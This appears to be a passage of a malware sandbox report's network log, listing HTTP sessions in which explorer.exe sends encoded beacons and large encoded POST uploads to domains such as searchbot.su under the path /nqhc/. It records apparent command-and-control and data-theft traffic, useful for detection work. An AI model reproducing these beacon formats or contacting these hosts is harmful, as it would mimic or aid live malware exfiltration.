Dec 5, 2022 15:17:55.356478930 CET	12199	OUT	Data Raw: 4c 55 62 6a 28 78 6d 72 64 55 69 36 70 42 44 49 53 43 4a 6d 73 72 55 4f 47 51 32 6e 6b 32 49 35 36 52 48 55 33 37 4c 58 47 4f 4d 58 28 59 66 41 30 57 55 55 47 46 37 75 6e 48 65 5a 58 32 37 42 6d 73 38 55 5a 71 46 4d 62 71 78 63 54 36 4f 62 63 6d Data Ascii: LUbj(xmrdUi6pBDISCJmsrUOGQ2nk2I56RHU37LXGOMX(YfA0WUUGF7unHeZX27Bms8UZqFMbqxcT6ObcmPemPveQOIZYyUCC-6M3U1hKb41N3fhS9gceThyUa~pg6SAVdm8UqA0Dp(weyKRUv4VCx1eP1tJX5TuwdEBjulQm5j-1nMvi0zOWNdHr6dFBW9eDgbeu1VS8WLJZC2uFxA0La(hBL~0ML0NkmmlY_o3pkT35CWQtlP
Dec 5, 2022 15:17:55.356574059 CET	12201	OUT	Data Raw: 68 65 63 33 69 4b 31 76 36 56 66 4f 5a 63 59 67 36 78 53 56 74 6b 63 39 6d 4d 62 52 42 6e 32 30 4a 77 6d 4f 5a 61 69 36 45 66 75 6c 33 55 4e 61 48 4c 74 30 4f 66 4f 78 7e 48 57 36 6d 50 32 67 54 63 6a 41 34 44 7a 74 5a 69 4e 43 69 6b 34 7a 52 51 Data Ascii: hec3iK1v6VfOZcYg6xSVtkc9mMbRBn20JwmOZai6Eful3UNaHLt0OfOx~HW6mP2gTcjA4DztZiNCik4zRQIHpR(MiJhcO7QeE6NlXoMTRle6qB5xSdkKsFKcZ8NNXU5GfJkcHJBhEOh1Nm3djc9N7lfbADs4ts(I~kfQYc~bY8K2caMX3A5hBzfZ5W(FFYydv4U7hC6tInoSjpt0B9vBZuUMThsSFLu9lIm0AzLog4pzkblGiNI
Dec 5, 2022 15:17:55.522764921 CET	12206	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:17:55 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 462 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 92 4d 8f d3 30 10 86 ef fd 15 43 38 00 52 dd 8f a5 0b 28 1f 15 17 e0 82 d0 6a 57 70 9f c4 d3 c4 c2 f1 04 7b da a6 ac f6 bf 6f 9c b4 cb b2 f2 c1 f2 78 de 77 9e 19 3b 7f a5 b9 92 53 47 d0 48 6b b7 b3 3c 6e 60 d1 d5 45 42 2e 89 01 42 bd 9d 01 e4 2d 09 42 d5 a0 0f 24 45 b2 97 9d fa 94 fc bb 68 44 3a 45 7f f6 e6 50 24 bd da a3 aa b8 ed 50 4c 69 29 81 8a 9d 90 1b 54 86 0a d2 35 4d 3a 31 62 69 bb 59 6d e0 8b f7 ec f3 e5 14 78 b2 74 d8 52 91 1c 0c 1d 3b f6 f2 cc e5 68 b4 34 85 a6 83 a9 48 8d 87 39 18 67 c4 a0 55 a1 42 4b c5 3a 79 69 e3 b9 64 09 cf 4c 1c 1b a7 a9 9f 83 e3 1d 5b cb c7 49 12 e4 34 31 00 7c 6e 49 1b 84 50 79 22 07 e8 34 bc 6d b1 9f 0a a6 d7 ab 55 d7 bf 83 fb 31 13 a0 64 7d 82 7b d8 0d ee 2a 98 bf 94 c2 e2 03 b5 19 3c c0 98 f0 10 ad 97 67 ef 7c 39 cd 74 96 8f aa 31 5a 24 42 bd 28 b4 a6 76 29 54 03 21 f9 6c 20 8a ba 66 7d c9 19 ed 77 d8 1a 7b 4a e1 1b b1 af 0d ce 21 90 37 bb 6c e8 cc b2 4f e1 f5 06 e3 ca a0 c5 e1 da 29 e1 2e 85 4d 64 b1 c6 91 6a c8 d4 8d a4 b0 5e 5c 67 c9 d4 e7 1d 7b 7f 9a 83 34 26 40 87 35 81 66 0a ee 8d 00 f5 26 c8 22 2f fd f6 c6 12 06 1a 5e 9f aa df 43 22 c1 cf db ef c0 1e 6a 86 12 87 10 8e c2 c5 d8 65 b3 8e b6 23 f8 d5 05 1c e0 3f f4 5f e4 35 ba 88 8e 2e a8 17 fc 1f 75 5c d9 a4 38 9e 71 df af 56 17 dc a7 0f b3 80 9b 48 fb 83 05 be f2 de e9 73 f9 ab b1 7c be 8c c3 8d 43 5e 4e 3f fb 11 21 b9 04 0e ea 02 00 00 Data Ascii: ]M0C8R(jWp{oxw;SGHk<n`EB.B-B$EhD:EP$PLi)T5M:1biYmxtR;h4H9gUBK:yidL[I41\|nIPy"4mU1d}{*<g\|9t1Z$B(v)T!l f}w{J!7lO).Mdj^\g{4&@5f&"/^C"je#?_5.u\8qVHs\|C^N?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.11.20	49898	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:57.215333939 CET	12207	OUT	GET /nqhc/?7nWHV=cCAegqK/nzfcR22oyFZFZLhv7+fwUp6Akkv27RFimicapgMUJBRfpG+MwKY/yKfw/XeAmq4HqwYY5KwMyaSJSZOUIGIe3VRiGA==&t0D=yFNHS0IX HTTP/1.1 Host: www.wellnessprodia.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:17:57.384748936 CET	12208	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:17:57 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Content-Length: 746 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 30 30 70 78 29 20 7b 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 36 65 6d 3b 20 7d 20 0a 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 47 65 6f 72 67 69 61 2c 20 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 34 61 34 61 34 61 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 65 6d 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 22 3e 0a 20 20 20 20 53 6f 72 72 79 2c 20 74 68 69 73 20 70 61 67 65 20 64 6f 65 73 6e 27 74 20 65 78 69 73 74 2e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 65 20 55 52 4c 20 6f 72 20 67 6f 20 62 61 63 6b 20 61 20 70 61 67 65 2e 0a 20 20 3c 2f 68 31 3e 0a 20 20 0a 20 20 3c 68 32 20 73 74 79 6c 65 3d 22 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 37 64 37 64 37 64 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 22 3e 0a 20 20 20 20 34 30 34 20 45 72 72 6f 72 2e 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 2e 0a 20 20 3c 2f 68 32 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html lang="en"><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>404 Error</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex, nofollow"> <style> @media screen and (max-width:500px) { body { font-size: .6em; } } </style></head><body style="text-align: center;"> <h1 style="font-family: Georgia, serif; color: #4a4a4a; margin-top: 4em; line-height: 1.5;"> Sorry, this page doesn't exist.<br>Please check the URL or go back a page. </h1> <h2 style=" font-family: Verdana, sans-serif; color: #7d7d7d; font-weight: 300;"> 404 Error. Page Not Found. </h2> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.11.20	49899	198.58.118.167	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:12.482553005 CET	12209	OUT	GET /nqhc/?7nWHV=LdV+lgJdmfuEMP3jUfrE9r0MLHENHMoAvR3n1HnrztGZNsUQ943e3pzfBc8//iPa0aHj65ptHNl5my2qaj9ZRSJvwgLgjYR0TA==&t0D=yFNHS0IX HTTP/1.1 Host: www.labour-office.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:18:12.617708921 CET	12209	IN	HTTP/1.1 404 Not Found server: openresty/1.13.6.1 date: Mon, 05 Dec 2022 14:18:12 GMT content-type: text/html content-length: 175 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>openresty/1.13.6.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.11.20	49900	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:17.686798096 CET	12210	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 68 71 50 63 4a 53 4c 33 50 73 74 6f 61 70 61 52 76 30 4b 52 30 70 68 4f 30 4e 45 51 34 4a 4f 38 66 61 6b 44 33 38 6c 38 43 57 66 6c 75 35 6a 6c 28 76 75 52 30 4d 55 62 33 43 72 61 63 63 35 58 47 68 44 33 65 68 6c 39 56 44 66 49 4e 55 43 4b 72 47 31 57 32 69 75 4f 35 5a 45 50 73 61 36 4f 57 50 78 66 77 41 47 37 59 43 48 6a 55 6a 61 31 6d 53 66 35 6c 49 43 67 4f 61 77 36 78 46 32 51 34 7a 38 59 52 69 6d 61 73 4b 31 65 35 63 7a 55 61 56 4d 43 64 6e 5a 52 43 69 30 62 6d 38 39 56 54 50 64 57 56 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=9jZPDiqEJGn1hqPcJSL3PstoapaRv0KR0phO0NEQ4JO8fakD38l8CWflu5jl(vuR0MUb3Cracc5XGhD3ehl9VDfINUCKrG1W2iuO5ZEPsa6OWPxfwAG7YCHjUja1mSf5lICgOaw6xF2Q4z8YRimasK1e5czUaVMCdnZRCi0bm89VTPdWVg).
Dec 5, 2022 15:18:17.779515028 CET	12211	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 05 Dec 2022 14:18:17 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.11.20	49901	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:19.764832973 CET	12212	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 77 35 58 63 4b 78 6a 33 4a 4d 74 72 55 4a 61 52 6c 55 4b 56 30 70 74 4f 30 50 6f 36 35 37 71 38 66 37 30 44 6d 49 4a 38 44 57 66 6c 32 4a 69 76 37 76 75 4b 30 4e 6f 54 33 48 4c 61 63 59 70 58 48 53 4c 33 4a 68 6c 2d 42 54 66 4a 49 55 43 61 36 57 31 51 32 69 79 6f 35 59 51 50 73 4f 4b 4f 45 36 74 66 36 78 47 36 63 69 48 6c 57 6a 61 79 73 79 66 4e 6c 49 47 6f 4f 61 34 4d 78 32 71 51 34 54 63 59 44 69 6d 5a 6d 36 31 6e 37 63 79 46 4c 58 45 49 59 45 5a 79 55 77 73 34 7e 75 46 42 56 4d 34 5a 58 66 38 5f 50 32 32 6b 56 4c 50 52 6e 55 35 48 4f 54 48 65 51 6c 35 65 59 4c 76 58 4b 36 62 30 55 50 55 46 6d 7a 65 36 4f 33 33 74 47 43 73 6e 56 48 73 30 6f 76 71 30 6c 6d 78 4b 5a 36 71 38 67 72 6d 37 58 6b 30 46 54 6d 6a 6b 77 79 59 61 39 55 6f 54 71 78 44 73 50 6d 71 46 47 79 5a 48 66 6d 30 76 51 72 44 42 61 52 4c 2d 52 6e 56 30 78 31 53 53 50 71 32 77 62 67 4c 44 53 2d 34 44 55 43 6a 66 69 4c 7a 44 78 45 34 55 7a 58 39 44 4a 71 47 48 4a 4d 37 78 62 44 68 77 54 61 57 59 61 41 6f 48 63 36 78 34 33 4c 7e 69 6d 59 7a 79 73 4e 45 70 6c 4c 6b 67 78 6f 4e 61 36 5f 62 65 71 33 31 6f 74 43 6b 78 65 75 32 69 6e 6d 78 69 6e 72 56 67 48 72 35 7a 34 70 74 6e 54 67 4a 45 6d 61 78 75 37 36 47 56 44 31 39 49 68 61 42 7a 5a 64 7a 58 6b 42 34 5a 7a 47 54 57 4b 76 79 5f 28 37 72 67 65 49 4a 62 44 78 42 51 77 72 46 72 50 7a 76 33 4d 31 46 4d 39 76 50 35 55 4f 69 76 79 2d 65 32 33 31 47 6d 44 46 4a 48 6b 6d 76 56 63 70 4a 46 71 4c 69 31 69 50 4a 76 45 36 53 74 4d 51 43 4e 72 69 38 5f 4e 79 56 6a 74 39 63 66 54 73 6f 57 64 68 6f 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=9jZPDiqEJGn1w5XcKxj3JMtrUJaRlUKV0ptO0Po657q8f70DmIJ8DWfl2Jiv7vuK0NoT3HLacYpXHSL3Jhl-BTfJIUCa6W1Q2iyo5YQPsOKOE6tf6xG6ciHlWjaysyfNlIGoOa4Mx2qQ4TcYDimZm61n7cyFLXEIYEZyUws4~uFBVM4ZXf8_P22kVLPRnU5HOTHeQl5eYLvXK6b0UPUFmze6O33tGCsnVHs0ovq0lmxKZ6q8grm7Xk0FTmjkwyYa9UoTqxDsPmqFGyZHfm0vQrDBaRL-RnV0x1SSPq2wbgLDS-4DUCjfiLzDxE4UzX9DJqGHJM7xbDhwTaWYaAoHc6x43L~imYzysNEplLkgxoNa6_beq31otCkxeu2inmxinrVgHr5z4ptnTgJEmaxu76GVD19IhaBzZdzXkB4ZzGTWKvy_(7rgeIJbDxBQwrFrPzv3M1FM9vP5UOivy-e231GmDFJHkmvVcpJFqLi1iPJvE6StMQCNri8_NyVjt9cfTsoWdho.
Dec 5, 2022 15:18:20.609693050 CET	12213	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 05 Dec 2022 14:18:20 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.11.20	49903	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:21.838819027 CET	12225	OUT	POST /nqhc/ HTTP/1.1 Host: www.searchbot.su Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.searchbot.su User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.searchbot.su/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 39 6a 5a 50 44 69 71 45 4a 47 6e 31 77 35 58 63 4b 78 6a 33 4a 4d 74 72 55 4a 61 52 6c 55 4b 56 30 70 74 4f 30 50 6f 36 35 37 69 38 66 4d 30 44 33 5a 4a 38 41 57 66 6c 37 70 69 75 37 76 75 48 30 4d 41 58 33 48 50 4b 63 61 68 58 48 44 62 33 4a 30 35 2d 52 44 65 75 52 55 43 4c 72 47 31 4d 32 69 75 47 35 59 45 66 73 65 57 4f 57 4e 70 66 77 69 75 37 65 79 48 6a 57 6a 61 6d 6f 79 66 46 6c 49 4c 7a 4f 61 30 4d 78 31 65 51 34 6c 51 59 51 44 6d 5a 67 71 31 67 77 38 7a 4c 53 6e 46 34 59 45 4e 4d 55 77 73 47 7e 76 42 42 56 50 77 5a 46 75 38 77 50 57 32 6b 59 72 50 53 6a 55 31 44 4f 54 61 44 51 6c 4e 65 59 49 76 58 4c 61 62 30 45 37 41 47 75 7a 65 38 59 48 33 36 43 43 6f 5f 56 48 6f 4b 6f 72 6d 30 6c 57 31 4b 59 4a 43 38 6a 50 79 37 51 30 30 4c 65 47 6a 37 6e 69 59 47 39 55 35 36 71 79 36 5a 50 6d 4f 46 48 54 35 48 61 43 59 6f 57 4c 44 44 45 42 4c 6e 44 58 5a 47 78 31 43 65 50 71 32 67 62 6a 48 44 54 4f 49 44 56 44 6a 63 6c 62 7a 45 38 6b 35 63 34 33 42 65 4a 71 61 66 4a 4d 69 71 62 41 4e 77 54 36 57 59 66 6a 41 45 4f 71 78 7a 6f 37 28 6c 6f 34 7a 6c 73 4e 59 31 6c 4b 77 57 77 5a 52 61 34 4f 72 65 74 6e 31 70 70 69 6b 31 48 2d 32 6b 6a 6d 78 69 6e 72 5a 4b 48 72 6c 7a 37 5a 6c 6e 4a 79 68 45 74 74 6c 75 39 36 47 54 44 31 39 6a 68 61 64 49 5a 64 37 70 6b 46 38 5f 7a 46 28 57 4b 65 69 5f 38 35 54 6e 61 34 4a 55 55 68 42 35 39 4b 35 47 50 31 4b 36 4d 31 55 37 7e 59 33 35 53 39 4b 76 6a 75 65 31 6c 46 47 72 45 46 49 45 67 6d 6a 67 63 71 38 79 71 4b 57 63 69 4a 70 76 55 75 44 51 4a 42 7a 61 78 6b 6f 6a 4e 79 46 52 6b 50 41 44 57 76 41 4c 4f 42 45 44 74 6f 44 65 4c 62 43 67 53 6c 71 6c 6b 4e 6f 37 67 44 57 43 70 49 77 36 49 51 6b 7a 68 75 43 61 33 5a 4b 6f 6c 68 4b 41 30 62 36 67 65 70 77 78 39 75 38 31 6a 4e 46 4c 6e 69 41 6c 39 47 57 52 4e 49 6b 4a 76 53 57 37 61 5f 43 52 48 58 79 65 79 55 42 66 38 5a 46 6f 54 67 70 4d 49 79 6f 76 50 4f 63 42 64 32 4f 42 6c 6b 4a 55 77 4a 66 70 59 59 49 6b 52 62 74 4a 53 7a 56 49 41 72 5a 4e 59 58 79 37 49 66 4c 71 32 42 36 66 48 41 59 41 37 70 56 6d 30 36 46 47 7a 79 55 41 75 58 34 4e 7e 35 63 61 30 49 4c 34 49 73 7a 4d 56 38 46 43 61 57 66 56 28 54 51 51 6d 58 6f 41 74 61 49 75 31 4f 44 4a 34 57 30 5f 6c 59 57 51 49 52 6d 69 4a 32 68 34 70 45 38 66 65 47 66 6d 4c 76 36 49 78 64 38 63 4a 71 74 4b 4e 73 6f 38 49 75 6f 66 6b 77 68 4e 4b 6c 7a 4d 32 58 6a 32 48 57 43 58 48 57 36 4d 64 75 6d 75 71 30 4b 64 7a 4f 70 43 73 37 45 4d 68 75 74 6f 61 57 68 57 70 4e 4e 35 62 47 70 71 7e 42 4d 56 52 35 4e 47 69 52 45 48 65 35 71 6f 6e 38 7e 59 55 67 53 50 61 62 37 47 4a 4a 34 61 67 47 64 66 78 75 6a 68 59 59 37 59 4a 78 52 38 46 35 42 72 5a 53 46 79 76 77 68 55 6a 6d 7a 6a 43 71 28 4a 30 65 57 67 4b 6c 71 69 58 46 41 74 69 79 28 75 78 63 31 31 4a 72 33 6e 54 61 75 61 68 58 74 53 62 30 4c 52 51 4b 4c 78 43 39 6f 37 28 59 6e 78 58 6f 74 64 52 38 71 33 62 63 67 62 72 42 6b 77 66 4e 79 59 56 6a 52 73 35 63 4f 55 50 59 75 58 46 58 7e 6d 57 41 6b 4a 6f 55 44 4f 61 68 38 4e 46 54 71 56 6b 45 5a 6f 73 5f 61 74 41 54 63 61 74 67 43 55 7e 30 51 37 55 51 55 4e 4e 35 6a 42 46 56 39 43 51 58 4d 6d 64 44 67 71 4d 37 59 32 43 53 6c 7a 49 73 42 62 36 61 54 79 4f 53 33 69 47 51 4c 71 6e 4b 63 4b 4a 51 73 45 4b 4f 4d 78 71 70 41 71 52 4b 45 77 30 77 77 79 39 65 64 74 4d 56 39 37 6e 51 30 52 53 41 43 7a 38 69 55 47 57 4d 36 67 58 79 32 4c 4c 69 66 69 51 70 61 6a 51 4c 37 5a 34 2d 6c 59 44 4a 37 31 63 79 45 68 5a 66 73 31 78 59 37 53 58 46 64 30 70 43 75 39 48 62 28 63 70 5f 65 42 53 57 47 68 55 63 6b 79 7e 6f 34 44 72 42 37 5a 73 64 50 36 67 38 6d 67 78 45 55 7a 79 57 4a 72 5a 56 79 77 6f 79 43 65 71 6b 6b 54 6b 4c 49 36 74 70 76 73 72 62 49 55 44 6f 4d 52 34 7a 69 6d 4b 58 37 33 54 78 73 5a 31 67 53 76 68 41 39 67 57 39 66 33 61 37 41 66 56 69 30 71 4b 54 70 39 39 56 4c 59 42 61 28 79 38 45 33 79 44 74 6d 39 6c 4f 49 56 71 77 6a 7a 73 79 32 4e 6d 58 55 4f 35 32 7a 58 6d 37 6f 6c 58 78 61 79 37 63 7e 34 42 76 32 6b 74 63 7e 75 6c 6d 54 30 55 33 30 77 72 66 38 31 59 50 37 64 53 4e 46 48 63 38 78 33 69 36 6f 56 33 4e 5a 31 63 63 51 54 52 44 62 53 78 52 61 59 38 33 79 42 71 76 7a 75 72 63 74 6f 6b 33 6c 77 47 Data Ascii: 7nWHV=9jZPDiqEJGn1w5XcKxj3JMtrUJaRlUKV0ptO0Po657i8fM0D3ZJ8AWfl7piu7vuH0MAX3HPKcahXHDb3J05-RDeuRUCLrG1M2iuG5YEfseWOWNpfwiu7eyHjWjamoyfFlILzOa0Mx1eQ4lQYQDmZgq1gw8zLSnF4YENMUwsG~vBBVPwZFu8wPW2kYrPSjU1DOTaDQlNeYIvXLab0E7AGuze8YH36CCo_VHoKorm0lW1KYJC8jPy7Q00LeGj7niYG9U56qy6ZPmOFHT5HaCYoWLDDEBLnDXZGx1CePq2gbjHDTOIDVDjclbzE8k5c43BeJqafJMiqbANwT6WYfjAEOqxzo7(lo4zlsNY1lKwWwZRa4Oretn1ppik1H-2kjmxinrZKHrlz7ZlnJyhEttlu96GTD19jhadIZd7pkF8_zF(WKei_85Tna4JUUhB59K5GP1K6M1U7~Y35S9Kvjue1lFGrEFIEgmjgcq8yqKWciJpvUuDQJBzaxkojNyFRkPADWvALOBEDtoDeLbCgSlqlkNo7gDWCpIw6IQkzhuCa3ZKolhKA0b6gepwx9u81jNFLniAl9GWRNIkJvSW7a_CRHXyeyUBf8ZFoTgpMIyovPOcBd2OBlkJUwJfpYYIkRbtJSzVIArZNYXy7IfLq2B6fHAYA7pVm06FGzyUAuX4N~5ca0IL4IszMV8FCaWfV(TQQmXoAtaIu1ODJ4W0_lYWQIRmiJ2h4pE8feGfmLv6Ixd8cJqtKNso8IuofkwhNKlzM2Xj2HWCXHW6Mdumuq0KdzOpCs7EMhutoaWhWpNN5bGpq~BMVR5NGiREHe5qon8~YUgSPab7GJJ4agGdfxujhYY7YJxR8F5BrZSFyvwhUjmzjCq(J0eWgKlqiXFAtiy(uxc11Jr3nTauahXtSb0LRQKLxC9o7(YnxXotdR8q3bcgbrBkwfNyYVjRs5cOUPYuXFX~mWAkJoUDOah8NFTqVkEZos_atATcatgCU~0Q7UQUNN5jBFV9CQXMmdDgqM7Y2CSlzIsBb6aTyOS3iGQLqnKcKJQsEKOMxqpAqRKEw0wwy9edtMV97nQ0RSACz8iUGWM6gXy2LLifiQpajQL7Z4-lYDJ71cyEhZfs1xY7SXFd0pCu9Hb(cp_eBSWGhUcky~o4DrB7ZsdP6g8mg